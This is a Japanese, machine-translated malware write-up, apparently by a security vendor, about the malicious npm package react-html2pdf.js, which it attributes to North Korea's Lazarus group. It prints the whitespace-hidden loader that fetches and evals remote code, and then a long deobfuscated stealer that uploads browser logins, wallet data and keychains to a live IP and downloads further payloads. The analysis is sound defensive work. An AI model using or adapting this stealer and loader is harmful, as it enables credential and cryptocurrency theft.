2025年3月13日、我々のマルウェア解析エンジンは、NPMに追加された悪意のあるパッケージの可能性を警告した。最初の兆候では、これは明確なケースであると思われましたが、レイヤーを剥がし始めると、事態は見た目通りではありませんでした。
ここでは、巧妙な国家行為者がマルウェアをパッケージの中に隠す方法について紹介する。
お知らせ
午後1時過ぎ、私たちはマルウェア検出ツールから、新しい悪意のあるパッケージがNPMにアップロードされたとの通知を受け、react-html2pdf.jsパッケージ(現在は削除済み)を指示されました。このパッケージは合法的な人気のあるnpmパッケージreact-html2pdfを装って いるようでしたが、不審に見えるものの、もう少し詳しく見るまでは、それがもたらす脅威をすぐに確認することはできませんでした。
見え隠れする方法
まず最初に行ったのは、次のようなことだった。 package.json
.ほとんどのマルウェアは、次のようなライフサイクルフックを持っています。 プリインストール
, をインストールする、
ポストインストール
.しかし、このパッケージにはそれが見られなかった。
{
"name": "react-html2pdf.js",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"repository": {
"type": "git",
"url": "git+https://github.com/pdec9690/react-html2pdf.git"
},
"author": "",
"license": "ISC",
"bugs": {
"url": "https://github.com/pdec9690/react-html2pdf/issues"
},
"homepage": "https://github.com/pdec9690/react-html2pdf#readme",
"dependencies": {
"request": "^2.88.2",
"sqlite3": "^5.1.7"
}
}
次に、index.jsファイルの中を見てみる。しかし、不思議なことにここにも何もなかった。もしやマルウェア検知器が偽の後処理を警告しているのではと思い始めた我々は、ついに何かを発見した......。見えますか?

見逃しがちだが、何かおかしい。
横スクロールバーに気づきましたか?何を隠そうとしているのだろう?横にスクロールすると、そこに答えがあった。
以下は、そのコードである。
function html2pdf() {
(async () => eval((await axios.get("https://ipcheck-production.up.railway[.]app/106", {
headers: {
"x-secret-key": "locationchecking"
}
})).data))()
return "html2pdf"
}
module.exports = html2pdf
これだ。URLにHTTPリクエストをして、そのレスポンスを直接 eval()
.
人は誰でも間違いを犯す
私たちの自動検出が正しかったことを理解するのに少し時間がかかり、その正しさを疑ってしまったことに少し気まずさを感じた。しかし、人間は誰でも間違いを犯すものだ。
- パッケージには2つの依存関係がある:
sqlite3
とリクエスト。どちらもアクシオス
依存関係として。 - にはimport/require文がない。
アクシオス
その結果、この攻撃は決して機能しなかっただろう。たとえaxiosを依存関係に含めていたとしても、インポートが欠けていたのだ。
その結果、この攻撃は決して機能しなかっただろう。たとえアクシオスが依存関係であったとしても、必要条件として欠けていたのだ。
リアルタイムでファンブルを見る
これはマルウェアを書こうとして失敗した話だと思われるかもしれない。この物語はまだ始まったばかりで、とてもクールなことが起こった。私たちは、攻撃者たちがデバッグし、間違いを修正する様子をリアルタイムで見ることができたのだ。
私たちのマルウェアアナライザーは、バージョン1.0.0でこのパッケージを検出しましたが、それに続くバージョンは、脅威行為者がどのように操作しているかについての貴重な洞察を与えてくれました。

1.0.0 - 2025年3月13日, 12時54分40秒
インサイド・バージョン 1.0.0
最初のバージョンでは、パッケージは前に示したのと同じindex.jsファイルで構成され、その中に /test/script.js
.それはただこれだけだ:
コンストhtml2pdf = require('react-html2pdf.js')
コンソール.log(html2pdf())
これは単にパッケージ自体を解決し、ペイロードを実行する。これはライフサイクルフックの一部として使われる可能性が高いが、何も存在しない。
1.0.1 - 2025年3月13日午後2時10分00秒
このバージョンは、彼らがコードをデバッグしているように見える。1.0.0バージョンとは異なり、彼らは悪意のあるコードを隠そうとするために同じ長さまで行っていない。

匿名ラムダではなく、非同期関数を使うようにコードを変更した。また、コンソール・ロギング文も追加した。
APTでさえ、デバッグコードに コンソールログ
そうらしい!
彼らは、なぜ期待されたHTTPリクエストが行われないのかを特定しようとしている。明らかに、それは アクシオス
そして、そのためのimport文もない。
1.0.2 - 3/13/2025, 2:23:49 PM
15分後、彼らはようやくaxiosを依存関係として追加する必要があることを理解したようだ。 アクシオス@^1.8.3
.
{
"name": "react-html2pdf.js",
"version": "1.0.2",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"repository": {
"type": "git",
"url": "git+https://github.com/pdec9690/react-html2pdf.git"
},
"author": "",
"license": "ISC",
"bugs": {
"url": "https://github.com/pdec9690/react-html2pdf/issues"
},
"homepage": "https://github.com/pdec9690/react-html2pdf#readme",
"dependencies": {
"axios": "^1.8.3",
"request": "^2.88.2",
"sqlite3": "^5.1.7"
}
}
それ以外のコードは同じだ。デバッグ・ログも残っているし、空白の難読化もまた導入されていない。
彼らが近づきつつある一方で、攻撃側はまだアクシオスの輸入を覚えていない。

1.0.3 - 3/13/2025, 2:37:23 PM
数分後、またアップデートがあった。このバージョンでのindex.jsファイルの変更に関する問題をデバッグしようとしているのは明らかだ。彼らには残念なことだが、問題の原因はまだわかっていないようだ。
const html2pdf = async () => {
const res = await axios.get("https://ipcheck-production.up.railway.app/106", { headers: { "x-secret-key": "locationchecking" } });
console.log("checked ok");
eval(res.data.cookie);
return "html2pdf"
}
module.exports = html2pdf
つの変化に気づくだろう:
- 関数の代わりに、非同期ラムダとして定義しているのだ。
- 以前のバージョンのように、res.dataの代わりにres.data.cookieをeval()しているのです。しかし、ペイロードはクッキーや、サーバーから取得するときのクッキーと呼ばれるフィールドにはありません。
しかし、これはimport/require文がないため、まだ機能しない。
ペイロードの分析
オフィスの懸賞では、彼らのミスを発見するのにかかる時間を賭けて、次のアップデートを心待ちにしていた。残念なことに、攻撃者たちは、これ以上アップデートが来ないことに不満を感じ、エクスプロイトに対するモチベーションを失っているようだった。このため、私たちはもう少し深く掘り下げ、彼らが注入しようとしていた悪意のあるペイロードを分析する時間を得ることができた。
他のパッケージと同様、これは難読化されている。難読化を解除してみると、文書化された非常に古典的なペイロードが出来上がった。
(function (_0x439ccd, _0x2f2b84) {
const _0x48e319 = _0x439ccd();
while (true) {
try {
const _0xc3ac80 = -parseInt(_0x5e84(719, 0x6d6)) / 1 + parseInt(_0x5e84(433, 0x551)) / 2 + parseInt(_0x5e84(659, -0x1c1)) / 3 + -parseInt(_0x5e84(392, -0x21a)) / 4 * (-parseInt(_0x5e84(721, -0x9a)) / 5) + parseInt(_0x5e84(687, 0x623)) / 6 * (-parseInt(_0x5e84(409, 0x570)) / 7) + -parseInt(_0x5e84(459, -0x17b)) / 8 * (parseInt(_0x5e84(419, 0x50b)) / 9) + parseInt(_0x5e84(415, -0x194)) / 10;
if (_0xc3ac80 === _0x2f2b84) {
break;
} else {
_0x48e319.push(_0x48e319.shift());
}
} catch (_0x6c2a0f) {
_0x48e319.push(_0x48e319.shift());
}
}
})(_0x506f, 354290);
const _0x7b1f8a = function () {
let _0x4ca892 = true;
return function (_0x56e847, _0x590243) {
const _0x745c8c = _0x4ca892 ? function () {
if (_0x590243) {
const _0x322c0c = _0x590243.apply(_0x56e847, arguments);
_0x590243 = null;
return _0x322c0c;
}
} : function () {};
_0x4ca892 = false;
return _0x745c8c;
};
}();
const _0x4b1d0b = _0x7b1f8a(this, function () {
return _0x4b1d0b.toString().search("(((.+)+)+)+$").toString().constructor(_0x4b1d0b).search("(((.+)+)+)+$");
});
_0x4b1d0b();
function _0x5e84(_0x491dbf, _0x24c768) {
const _0x1eb954 = _0x506f();
_0x5e84 = function (_0x3109a1, _0x3d8eb2) {
_0x3109a1 = _0x3109a1 - 390;
let _0x273b10 = _0x1eb954[_0x3109a1];
if (_0x5e84.QApUJJ === undefined) {
var _0x4807eb = function (_0x1c601e) {
let _0x52517a = '';
let _0xb93639 = '';
let _0x194ad5 = _0x52517a + _0x4807eb;
let _0x9c31a6 = 0;
let _0x5bbe0b;
let _0x1757c6;
for (let _0xa23365 = 0; _0x1757c6 = _0x1c601e.charAt(_0xa23365++); ~_0x1757c6 && (_0x5bbe0b = _0x9c31a6 % 4 ? _0x5bbe0b * 64 + _0x1757c6 : _0x1757c6, _0x9c31a6++ % 4) ? _0x52517a += _0x194ad5.charCodeAt(_0xa23365 + 10) - 10 !== 0 ? String.fromCharCode(255 & _0x5bbe0b >> (-2 * _0x9c31a6 & 6)) : _0x9c31a6 : 0) {
_0x1757c6 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1757c6);
}
let _0x469363 = 0;
for (let _0x148ed5 = _0x52517a.length; _0x469363 < _0x148ed5; _0x469363++) {
_0xb93639 += '%' + ('00' + _0x52517a.charCodeAt(_0x469363).toString(16)).slice(-2);
}
return decodeURIComponent(_0xb93639);
};
_0x5e84.SmAvPn = _0x4807eb;
_0x491dbf = arguments;
_0x5e84.QApUJJ = true;
}
const _0x3c1851 = _0x1eb954[0];
const _0x59b60e = _0x3109a1 + _0x3c1851;
const _0x55f78b = _0x491dbf[_0x59b60e];
if (!_0x55f78b) {
const _0x5f300b = function (_0x2fd671) {
this.QHOMud = _0x2fd671;
this.YVDaph = [1, 0, 0];
this.JcbGmJ = function () {
return 'newState';
};
this.OVyCMT = "\\w+ *\\(\\) *{\\w+ *";
this.JLwvwW = "['|\"].+['|\"];? *}";
};
_0x5f300b.prototype.mifMRh = function () {
const _0x229166 = new RegExp(this.OVyCMT + this.JLwvwW);
const _0x3a34db = _0x229166.test(this.JcbGmJ.toString()) ? --this.YVDaph[1] : --this.YVDaph[0];
return this.BbIAmR(_0x3a34db);
};
_0x5f300b.prototype.BbIAmR = function (_0x42c1a6) {
if (!Boolean(~_0x42c1a6)) {
return _0x42c1a6;
}
return this.bXmZOq(this.QHOMud);
};
_0x5f300b.prototype.bXmZOq = function (_0xbd8ca5) {
let _0x47b9b1 = 0;
for (let _0x2729f9 = this.YVDaph.length; _0x47b9b1 < _0x2729f9; _0x47b9b1++) {
this.YVDaph.push(Math.round(Math.random()));
_0x2729f9 = this.YVDaph.length;
}
return _0xbd8ca5(this.YVDaph[0]);
};
new _0x5f300b(_0x5e84).mifMRh();
_0x273b10 = _0x5e84.SmAvPn(_0x273b10);
_0x491dbf[_0x59b60e] = _0x273b10;
} else {
_0x273b10 = _0x55f78b;
}
return _0x273b10;
};
return _0x5e84(_0x491dbf, _0x24c768);
}
const _0x37a9de = function () {
const _0x11156e = {
npoYK: 'IOjyc'
};
_0x11156e.wzbes = function (_0x2abc93, _0x52b5bf) {
return _0x2abc93 === _0x52b5bf;
};
_0x11156e.gBKuE = "arDDM";
_0x11156e.ptaJJ = "Moloi";
let _0x135685 = true;
return function (_0x2f5864, _0x41df13) {
if (_0x11156e.wzbes(_0x11156e.gBKuE, _0x11156e.ptaJJ)) {
try {
const _0x1cb1ce = {
filename: _0x2d36f8 + '_lst'
};
_0xf5f415.push({
'value': _0x404acb.createReadStream(_0x321d52),
'options': _0x1cb1ce
});
} catch (_0x2a90eb) {}
} else {
const _0x1b0bdc = _0x135685 ? function () {
if (_0x41df13) {
const _0x1854ff = _0x41df13.apply(_0x2f5864, arguments);
_0x41df13 = null;
return _0x1854ff;
}
} : function () {};
_0x135685 = false;
return _0x1b0bdc;
}
};
}();
const _0x2beb3b = _0x37a9de(this, function () {
const _0xf65419 = function () {
let _0x2cff02;
try {
_0x2cff02 = Function("return (function() {}.constructor(\"return this\")( ));")();
} catch (_0x1b5eab) {
_0x2cff02 = window;
}
return _0x2cff02;
};
const _0x1b948b = _0xf65419();
const _0x342695 = _0x1b948b.console = _0x1b948b.console || {};
const _0x212c22 = ["log", "warn", "info", "error", "exception", 'table', "trace"];
for (let _0xf72095 = 0; _0xf72095 < _0x212c22.length; _0xf72095++) {
const _0x394e1b = _0x37a9de.constructor.prototype.bind(_0x37a9de);
const _0x444ab9 = _0x212c22[_0xf72095];
const _0x442110 = _0x342695[_0x444ab9] || _0x394e1b;
_0x394e1b.__proto__ = _0x37a9de.bind(_0x37a9de);
_0x394e1b.toString = _0x442110.toString.bind(_0x442110);
_0x342695[_0x444ab9] = _0x394e1b;
}
});
_0x2beb3b();
const fs = require('fs');
const os = require('os');
const path = require("path");
const request = require("request");
const ex = require("child_process").exec;
const hostname = os.hostname();
const platform = os.platform();
const homeDir = os.homedir();
const tmpDir = os.tmpdir();
const fs_promises = require("fs/promises");
const getAbsolutePath = _0x30607a => _0x30607a.replace(/^~([a-z]+|\/)/, (_0x2a0b7e, _0x4cea8f) => '/' === _0x4cea8f ? homeDir : path.dirname(homeDir) + '/' + _0x4cea8f);
function testPath(_0x133be5) {
try {
fs.accessSync(_0x133be5);
return true;
} catch (_0x4d579f) {
return false;
}
}
function _0x506f() {
const _0x4e59ac = [....];
_0x506f = function () {
return _0x4e59ac;
};
return _0x506f();
}
function _0x275dbc(_0x3a088a, _0x2b8854, _0x55aca9, _0x523cc3) {
return _0x5e84(_0x3a088a - 0x27, _0x523cc3);
}
const R = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const X = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const Bt = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "aeachknmefphepccionboohckonoeemg", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"];
const uploadFiles = async (_0x4e59e1, _0x1e64c9, _0x1b778e, _0x35144d) => {
let _0xbfe9a;
if (!_0x4e59e1 || '' === _0x4e59e1) {
return [];
}
try {
if (!testPath(_0x4e59e1)) {
return [];
}
} catch (_0x25bf31) {
return [];
}
if (!_0x1e64c9) {
_0x1e64c9 = '';
}
let _0x2ae51b = [];
for (let _0x801a82 = 0; _0x801a82 < 200; _0x801a82++) {
const _0x3fd963 = _0x4e59e1 + '/' + (0 === _0x801a82 ? "Default" : "Profile " + _0x801a82) + "/Local Extension Settings";
for (let _0x2652fd = 0; _0x2652fd < Bt.length; _0x2652fd++) {
let _0x2ef81f = _0x3fd963 + '/' + Bt[_0x2652fd];
if (testPath(_0x2ef81f)) {
let _0x1fd2c9 = [];
try {
_0x1fd2c9 = fs.readdirSync(_0x2ef81f);
} catch (_0x354f49) {
_0x1fd2c9 = [];
}
let _0x4808c4 = 0;
if (!testPath(getAbsolutePath('~/') + "/.n3")) {
fs_promises.mkdir(getAbsolutePath('~/') + "/.n3");
}
_0x1fd2c9.forEach(async _0x4e7f8b => {
let _0x3bca73 = path.join(_0x2ef81f, _0x4e7f8b);
try {
let _0x331d2f = fs.statSync(_0x3bca73);
if (_0x331d2f.isDirectory()) {
return;
}
if (_0x3bca73.includes(".log") || _0x3bca73.includes(".ldb")) {
const _0x50a239 = {
filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
};
_0x2ae51b.push({
'value': fs.createReadStream(_0x3bca73),
'options': _0x50a239
});
} else {
fs_promises.copyFile(_0x3bca73, getAbsolutePath('~/') + "/.n3/tp" + _0x4808c4);
const _0x27ff50 = {
filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
};
_0x2ae51b.push({
'value': fs.createReadStream(getAbsolutePath('~/') + '/.n3/tp' + _0x4808c4),
'options': _0x27ff50
});
_0x4808c4 += 1;
}
} catch (_0x365110) {}
});
}
}
}
if (_0x1b778e && (_0xbfe9a = homeDir + "/.config/solana/id.json", fs.existsSync(_0xbfe9a))) {
try {
const _0x149c73 = {
filename: "solana_id.txt"
};
_0x2ae51b.push({
'value': fs.createReadStream(_0xbfe9a),
'options': _0x149c73
});
} catch (_0x293a9e) {}
}
Upload(_0x2ae51b, _0x35144d);
return _0x2ae51b;
};
const uploadMozilla = _0x28bdbb => {
const _0x58f3c4 = getAbsolutePath('~/') + "/AppData/Roaming/Mozilla/Firefox/Profiles";
let _0x11a54c = [];
if (testPath(_0x58f3c4)) {
let _0x43f643 = [];
try {
_0x43f643 = fs.readdirSync(_0x58f3c4);
} catch (_0x277851) {
_0x43f643 = [];
}
let _0xfea5f8 = 0;
_0x43f643.forEach(async _0x7fdd1f => {
let _0x1565a3 = path.join(_0x58f3c4, _0x7fdd1f);
if (_0x1565a3.includes('-release')) {
let _0xb824a = path.join(_0x1565a3, "/storage/default");
let _0x5b8589 = [];
_0x5b8589 = fs.readdirSync(_0xb824a);
let _0x56f1bd = 0;
_0x5b8589.forEach(async _0x1349f0 => {
if (_0x1349f0.includes("moz-extension")) {
let _0xb29520 = path.join(_0xb824a, _0x1349f0);
_0xb29520 = path.join(_0xb29520, "idb");
let _0xbf7b4c = [];
_0xbf7b4c = fs.readdirSync(_0xb29520);
_0xbf7b4c.forEach(async _0x39b65b => {
if (_0x39b65b.includes(".files")) {
let _0x23bb34 = path.join(_0xb29520, _0x39b65b);
let _0x907e03 = [];
_0x907e03 = fs.readdirSync(_0x23bb34);
_0x907e03.forEach(_0x18728f => {
if (!fs.statSync(path.join(_0x23bb34, _0x18728f)).isDirectory()) {
let _0x5c1eaa = path.join(_0x23bb34, _0x18728f);
const _0x3dabaf = {
filename: _0xfea5f8 + '_' + _0x56f1bd + '_' + _0x18728f
};
_0x11a54c.push({
'value': fs.createReadStream(_0x5c1eaa),
'options': _0x3dabaf
});
}
});
}
});
}
});
_0x56f1bd += 1;
}
_0xfea5f8 += 1;
});
Upload(_0x11a54c, _0x28bdbb);
return _0x11a54c;
}
};
const uploadEs = _0x259211 => {
let _0x3d015b = '';
let _0x237a59 = [];
if ('w' == platform[0]) {
_0x3d015b = getAbsolutePath('~/') + "/AppData/Roaming/Exodus/exodus.wallet";
} else if ('d' == platform[0]) {
_0x3d015b = getAbsolutePath('~/') + "/Library/Application Support/exodus.wallet";
} else {
_0x3d015b = getAbsolutePath('~/') + "/.config/Exodus/exodus.wallet";
}
if (testPath(_0x3d015b)) {
let _0x12e506 = [];
try {
_0x12e506 = fs.readdirSync(_0x3d015b);
} catch (_0x94bd45) {
_0x12e506 = [];
}
let _0x28935a = 0;
if (!testPath(getAbsolutePath('~/') + "/.n3")) {
fs_promises.mkdir(getAbsolutePath('~/') + '/.n3');
}
_0x12e506.forEach(async _0x19fec3 => {
let _0x4b88c9 = path.join(_0x3d015b, _0x19fec3);
try {
fs_promises.copyFile(_0x4b88c9, getAbsolutePath('~/') + "/.n3/tp" + _0x28935a);
const _0x61985d = {
filename: "106_" + _0x19fec3
};
_0x237a59.push({
'value': fs.createReadStream(getAbsolutePath('~/') + "/.n3/tp" + _0x28935a),
'options': _0x61985d
});
_0x28935a += 1;
} catch (_0x59cc5f) {}
});
}
Upload(_0x237a59, _0x259211);
return _0x237a59;
};
const Upload = (_0x5371da, _0x486521) => {
const _0x56f846 = {
type: "106"
};
_0x56f846.hid = "106_" + hostname;
_0x56f846.uts = _0x486521;
_0x56f846.multi_file = _0x5371da;
try {
if (_0x5371da.length > 0) {
const _0x4ca09a = {
url: "http://144.172.96[.]80:1224/uploads",
formData: _0x56f846
};
request.post(_0x4ca09a, (_0x3ae8f6, _0x3a2f2e, _0x14c423) => {});
}
} catch (_0x531e0d) {}
};
const UpAppData = async (_0x4426ad, _0x3e8f59, _0x60e2a7) => {
try {
let _0x268ce4 = '';
_0x268ce4 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x4426ad[1] : 'l' == platform[0] ? getAbsolutePath('~/') + "/.config/" + _0x4426ad[2] : getAbsolutePath('~/') + '/AppData/' + _0x4426ad[0] + "/User Data";
await uploadFiles(_0x268ce4, _0x3e8f59 + '_', 0 == _0x3e8f59, _0x60e2a7);
} catch (_0x5ebd09) {}
};
const UpKeychain = async _0x3714c5 => {
let _0x3a24d9 = [];
let _0x39d8f5 = homeDir + "/Library/Keychains/login.keychain";
if (fs.existsSync(_0x39d8f5)) {
try {
const _0x94b19a = {
filename: "logkc-db"
};
_0x3a24d9.push({
'value': fs.createReadStream(_0x39d8f5),
'options': _0x94b19a
});
} catch (_0x5a79ae) {}
} else {
_0x39d8f5 += '-db';
if (fs.existsSync(_0x39d8f5)) {
try {
const _0x1aed52 = {
filename: "logkc-db"
};
_0x3a24d9.push({
'value': fs.createReadStream(_0x39d8f5),
'options': _0x1aed52
});
} catch (_0x29bcaf) {}
}
}
try {
let _0x17c169 = homeDir + "/Library/Application Support/Google/Chrome";
if (testPath(_0x17c169)) {
for (let _0x1d1991 = 0; _0x1d1991 < 200; _0x1d1991++) {
const _0x141480 = _0x17c169 + '/' + (0 === _0x1d1991 ? 'Default' : "Profile " + _0x1d1991) + "/Login Data";
try {
if (!testPath(_0x141480)) {
continue;
}
const _0x11ddc5 = _0x17c169 + "/ld_" + _0x1d1991;
const _0x4c51e4 = {
filename: 'pld_' + _0x1d1991
};
if (testPath(_0x11ddc5)) {
_0x3a24d9.push({
'value': fs.createReadStream(_0x11ddc5),
'options': _0x4c51e4
});
} else {
fs.copyFile(_0x141480, _0x11ddc5, _0x5336ba => {
const _0x173efd = {
filename: "pld_" + _0x1d1991
};
let _0x2adc61 = [{
'value': fs.createReadStream(_0x141480),
'options': _0x173efd
}];
Upload(_0x2adc61, _0x3714c5);
});
}
} catch (_0x136aa3) {}
}
}
} catch (_0x10da1f) {}
try {
let _0x5877c5 = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser";
if (testPath(_0x5877c5)) {
for (let _0x4289ac = 0; _0x4289ac < 200; _0x4289ac++) {
const _0x388e88 = _0x5877c5 + '/' + (0 === _0x4289ac ? "Default" : "Profile " + _0x4289ac);
try {
if (!testPath(_0x388e88)) {
continue;
}
const _0x4cb112 = _0x388e88 + "/Login Data";
const _0x533124 = {
filename: 'brld_' + _0x4289ac
};
if (testPath(_0x4cb112)) {
_0x3a24d9.push({
'value': fs.createReadStream(_0x4cb112),
'options': _0x533124
});
} else {
fs.copyFile(_0x388e88, _0x4cb112, _0x29cd60 => {
const _0x2c0338 = {
filename: "brld_" + _0x4289ac
};
let _0x2511d4 = [{
'value': fs.createReadStream(_0x388e88),
'options': _0x2c0338
}];
Upload(_0x2511d4, _0x3714c5);
});
}
} catch (_0x3a308e) {}
}
}
} catch (_0x430644) {}
Upload(_0x3a24d9, _0x3714c5);
return _0x3a24d9;
};
const UpUserData = async (_0x36f5a0, _0x286e68, _0x4300cf) => {
let _0x424c5f = [];
let _0x4b95f2 = '';
_0x4b95f2 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x36f5a0[1] : 'l' == platform[0] ? getAbsolutePath('~/') + '/.config/' + _0x36f5a0[2] : getAbsolutePath('~/') + "/AppData/" + _0x36f5a0[0] + "/User Data";
let _0x227f08 = _0x4b95f2 + "/Local State";
if (fs.existsSync(_0x227f08)) {
try {
const _0x4a1d0a = {
filename: _0x286e68 + "_lst"
};
_0x424c5f.push({
'value': fs.createReadStream(_0x227f08),
'options': _0x4a1d0a
});
} catch (_0x18477b) {}
}
try {
if (testPath(_0x4b95f2)) {
for (let _0x5d2f7f = 0; _0x5d2f7f < 200; _0x5d2f7f++) {
const _0x217a08 = _0x4b95f2 + '/' + (0 === _0x5d2f7f ? 'Default' : "Profile " + _0x5d2f7f);
try {
if (!testPath(_0x217a08)) {
continue;
}
const _0x43a5b3 = _0x217a08 + "/Login Data";
if (!testPath(_0x43a5b3)) {
continue;
}
const _0x677c1e = {
filename: _0x286e68 + '_' + _0x5d2f7f + "_uld"
};
_0x424c5f.push({
'value': fs.createReadStream(_0x43a5b3),
'options': _0x677c1e
});
} catch (_0x468130) {}
}
}
} catch (_0x25db13) {}
Upload(_0x424c5f, _0x4300cf);
return _0x424c5f;
};
function _0x209c84(_0x42c618, _0x40ddd7, _0x324bac, _0x231a82) {
return _0x5e84(_0x40ddd7 + 0xd7, _0x42c618);
}
let It = 0;
const extractFile = async _0x169ea8 => {
ex("tar -xf " + _0x169ea8 + " -C " + homeDir, (_0x5137bb, _0x38768c, _0x44c05a) => {
if (_0x5137bb) {
fs.rmSync(_0x169ea8);
return void (It = 0);
}
fs.rmSync(_0x169ea8);
Xt();
});
};
const runP = () => {
const _0x63e597 = tmpDir + "\\p.zi";
const _0x37a8dc = tmpDir + "\\p2.zip";
if (It >= 51476596) {
return;
}
if (fs.existsSync(_0x63e597)) {
try {
var _0x2d691c = fs.statSync(_0x63e597);
if (_0x2d691c.size >= 51476596) {
It = _0x2d691c.size;
fs.rename(_0x63e597, _0x37a8dc, _0x34791b => {
if (_0x34791b) {
throw _0x34791b;
}
extractFile(_0x37a8dc);
});
} else {
if (It < _0x2d691c.size) {
It = _0x2d691c.size;
} else {
fs.rmSync(_0x63e597);
It = 0;
}
Ht();
}
} catch (_0xf9efb1) {}
} else {
ex("curl -Lo \"" + _0x63e597 + "\" \"" + "http://144.172.96[.]80:1224/pdown" + "\"", (_0x33551d, _0x26a269, _0x1f4359) => {
if (_0x33551d) {
It = 0;
return void Ht();
}
try {
It = 51476596;
fs.renameSync(_0x63e597, _0x37a8dc);
extractFile(_0x37a8dc);
} catch (_0x177129) {}
});
}
};
function Ht() {
setTimeout(() => {
runP();
}, 20000);
}
const Xt = async () => await new Promise((_0x18b6b4, _0x438ac4) => {
if ('w' == platform[0]) {
if (fs.existsSync(homeDir + "\\.pyp\\python.exe")) {
(() => {
const _0x2f7a17 = homeDir + "/.npl";
const _0x37e74f = "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x2f7a17 + "\"";
try {
fs.rmSync(_0x2f7a17);
} catch (_0x3bd9ea) {}
request.get("http://144.172.96[.]80:1224/client/106/106", (_0x9dd16b, _0x3ea1c7, _0x3de797) => {
if (!_0x9dd16b) {
try {
fs.writeFileSync(_0x2f7a17, _0x3de797);
ex(_0x37e74f, (_0x5af396, _0x44ed2b, _0x5bf548) => {});
} catch (_0x527428) {}
}
});
})();
} else {
runP();
}
} else {
(() => {
request.get("http://144.172.96[.]80:1224/client/106/106", (_0x20405e, _0x32be8c, _0x1add23) => {
if (!_0x20405e) {
fs.writeFileSync(homeDir + "/.npl", _0x1add23);
ex("python3 \"" + homeDir + "/.npl\"", (_0x7f426f, _0x3db0b7, _0x1160de) => {});
}
});
})();
}
});
var M = 0;
const main = async () => {
try {
const _0x153de8 = Math.round(new Date().getTime() / 1000);
await (async () => {
try {
await UpAppData(Q, 0, _0x153de8);
await UpAppData(R, 1, _0x153de8);
await UpAppData(X, 2, _0x153de8);
uploadMozilla(_0x153de8);
uploadEs(_0x153de8);
if ('w' == platform[0]) {
await uploadFiles(getAbsolutePath('~/') + "/AppData/Local/Microsoft/Edge/User Data", '3_', false, _0x153de8);
}
if ('d' == platform[0]) {
await UpKeychain(_0x153de8);
} else {
await UpUserData(Q, 0, _0x153de8);
await UpUserData(R, 1, _0x153de8);
await UpUserData(X, 2, _0x153de8);
}
} catch (_0x324883) {}
})();
Xt();
} catch (_0x2eb6a7) {}
};
main();
Xt();
let Ct = setInterval(() => {
if ((M += 1) < 2) {
main();
} else {
clearInterval(Ct);
}
}, 30000);
ここでは、攻撃者がやろうとしている卑劣な行為を見ることができた。このケースでは、非常に古典的なプレイブックです。UA-pajserエクスプロイトなど、多くの攻撃で私たちが目にしてきたのとまったく同じタイプのペイロードです。
- 暗号ウォレットを盗む。
- ブラウザのキャッシュを盗む。
- キーホルダーを盗む。
- 追加のペイロードをダウンロードして実行する。
しかし、古典的なものには理由がある。一般的にうまくいくし、サプライチェーン攻撃から利益を得る最も速く/最も簡単な方法である。
このペイロードは我々にとって見慣れないものではなく、国家に支援された北朝鮮のハッキング・グループ、Lazarusによるものだとすぐにわかった。最近、暗号取引所ByBitから15億ドルのイーサリアムを盗んだ、地球上で最も洗練されたハッキンググループの1つです(それだけでは不十分なようです)。
アプリケーションからマルウェアを排除する!
Aikido 、NPMjsのようなパブリックレジストリを監視し、従来のスキャナと訓練されたAIモデルの組み合わせを使用して、悪意のあるパッケージが導入された場合、または以前は良性であったパッケージが悪意に変わった場合に識別するマルウェア検出脅威フィードを開始しました。このような悪意のあるパッケージは、intel.aikido.devの マルウェア脅威フィードで見ることができます。

要点
国民国家の脅威行為者でさえ愚かなミスを犯すという事実以外にも、この件から得られる興味深い教訓がいくつかある。最大のものは、隠れようとすれば必ず目立つということだ。
通常、Lazarusは一般的な難読化ツールを使ってコードを難読化しています。しかし、難読化は簡単に解除することができ、難読化の存在だけで、パッケージのより詳細な分析と精査の引き金となります。
彼らのように悪意のあるペイロードを人間の目から "隠そうと "するのは賢い。しかし、そうすることで、実際にはさらに多くのシグナルを導入している。なぜなら、このような大量の空白は普通ではないからだ。隠そうとすることは、常に検知のために活用できるシグナルを増やすことになる。
そのため、ペイロードの大部分をリモートサーバーに移し、実行時にフェッチするようにしている。しかし、サーバーから何かをフェッチするという動作は、より多くの検知シグナルをもたらす。
私たちがAI検知システムを訓練している検知技術の幅広い組み合わせによって、些細なことでも検知できるものばかりだ。彼らが隠れようとすればするほど、実際はもっと簡単に検出されてしまう。
ビデオをチェックする。
ラザロ・グループの指標
